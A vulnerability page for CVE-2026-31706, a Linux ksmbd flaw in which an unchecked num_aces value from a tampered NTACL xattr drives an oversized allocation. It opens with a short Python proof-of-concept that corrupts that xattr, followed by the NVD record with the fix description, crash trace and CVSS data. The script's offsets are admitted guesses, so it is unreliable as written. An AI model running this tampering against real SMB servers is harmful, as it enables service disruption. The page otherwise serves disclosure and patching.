CVE-2026-31706

#!/usr/bin/env python3 # PoC Concept for CVE-2026-31706 # This script simulates the xattr tampering described in the vulnerability. # It requires a mounted filesystem where ksmbd is writing NTACLs. import os import sys import xattr # Path to the parent directory controlled by the attacker TARGET_DIR = "/path/to/smb/share/parent_dir" try: # 1. Create a directory (simulating valid setup) if not os.path.exists(TARGET_DIR): os.makedirs(TARGET_DIR) print(f"[+] Created directory: {TARGET_DIR}") # 2. Simulate the attack: Modify the security.NTACL xattr. # In a real scenario, the attacker would corrupt the blob bytes at offset 20 (num_aces) # to 0xFF 0xFF (65535) while keeping the hash valid to bypass ksmbd_vfs_get_sd_xattr(). # Retrieve existing attribute (assuming ksmbd set it initially) try: current_acl = xattr.get(TARGET_DIR, "security.NTACL") acl_list = list(current_acl) # 3. Tamper with num_aces field (usually at offset 4 in the DACL part, after structure headers) # This is a simplified representation. Real offset calculation depends on the SD structure. # Assuming DACL starts at offset 20 for this example. if len(acl_list) > 22: acl_list[20] = 0xFF # Low byte of num_aces acl_list[21] = 0xFF # High byte of num_aces tampered_acl = bytes(acl_list) xattr.set(TARGET_DIR, "security.NTACL", tampered_acl) print(f"[+] Successfully tampered num_aces to 65535 in {TARGET_DIR}") print("[+] Trigger: Creating a child directory via SMB2 CREATE now triggers the allocation failure.") else: print("[-] ACL blob too small to tamper.") except IOError as e: print(f"[-] Error manipulating xattr: {e}") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-31706", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:20.597", "lastModified": "2026-05-06T20:27:43.123", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: validate num_aces and harden ACE walk in smb_inherit_dacl()\n\nsmb_inherit_dacl() trusts the on-disk num_aces value from the parent\ndirectory's DACL xattr and uses it to size a heap allocation:\n\n aces_base = kmalloc(sizeof(struct smb_ace) * num_aces * 2, ...);\n\nnum_aces is a u16 read from le16_to_cpu(parent_pdacl->num_aces)\nwithout checking that it is consistent with the declared pdacl_size.\nAn authenticated client whose parent directory's security.NTACL is\ntampered (e.g. via offline xattr corruption or a concurrent path that\nbypasses parse_dacl()) can present num_aces = 65535 with minimal\nactual ACE data. This causes a ~8 MB allocation (not kzalloc, so\nuninitialized) that the subsequent loop only partially populates, and\nmay also overflow the three-way size_t multiply on 32-bit kernels.\n\nAdditionally, the ACE walk loop uses the weaker\noffsetof(struct smb_ace, access_req) minimum size check rather than\nthe minimum valid on-wire ACE size, and does not reject ACEs whose\ndeclared size is below the minimum.\n\nReproduced on UML + KASAN + LOCKDEP against the real ksmbd code path.\nA legitimate mount.cifs client creates a parent directory over SMB\n(ksmbd writes a valid security.NTACL xattr), then the NTACL blob on\nthe backing filesystem is rewritten to set num_aces = 0xFFFF while\nkeeping the posix_acl_hash bytes intact so ksmbd_vfs_get_sd_xattr()'s\nhash check still passes. A subsequent SMB2 CREATE of a child under\nthat parent drives smb2_open() into smb_inherit_dacl() (share has\n\"vfs objects = acl_xattr\" set), which fails the page allocator:\n\n WARNING: mm/page_alloc.c:5226 at __alloc_frozen_pages_noprof+0x46c/0x9c0\n Workqueue: ksmbd-io handle_ksmbd_work\n __alloc_frozen_pages_noprof+0x46c/0x9c0\n ___kmalloc_large_node+0x68/0x130\n __kmalloc_large_node_noprof+0x24/0x70\n __kmalloc_noprof+0x4c9/0x690\n smb_inherit_dacl+0x394/0x2430\n smb2_open+0x595d/0xabe0\n handle_ksmbd_work+0x3d3/0x1140\n\nWith the patch applied the added guard rejects the tampered value\nwith -EINVAL before any large allocation runs, smb2_open() falls back\nto smb2_create_sd_buffer(), and the child is created with a default\nSD. No warning, no splat.\n\nFix by:\n\n 1. Validating num_aces against pdacl_size using the same formula\n applied in parse_dacl().\n\n 2. Replacing the raw kmalloc(sizeof * num_aces * 2) with\n kmalloc_array(num_aces * 2, sizeof(...)) for overflow-safe\n allocation.\n\n 3. Tightening the per-ACE loop guard to require the minimum valid\n ACE size (offsetof(smb_ace, sid) + CIFS_SID_BASE_SIZE) and\n rejecting under-sized ACEs, matching the hardening in\n smb_check_perm_dacl() and parse_dacl().\n\nv1 -> v2:\n - Replace the synthetic test-module splat in the changelog with a\n real-path UML + KASAN reproduction driven through mount.cifs and\n SMB2 CREATE; Namjae flagged the kcifs3_test_inherit_dacl_old name\n in v1 since it does not exist in ksmbd.\n - Drop the commit-hash citation from the code comment per Namjae's\n review; keep the parse_dacl() pointer."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15", "versionEndExcluding": "6.12.84", "matchCriteriaId": "04651641-C387-4546-B02F-17BA989CC253"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.25", "matchCriteriaId": "8B0A7E0E-F6D8-45DB-8CD9-01839FE40A6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/063a7409b0de46d7c770b65bb0338e6fdb3b1f0a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3e4e2ea2a781018ed5d75f969e3 ... (truncated)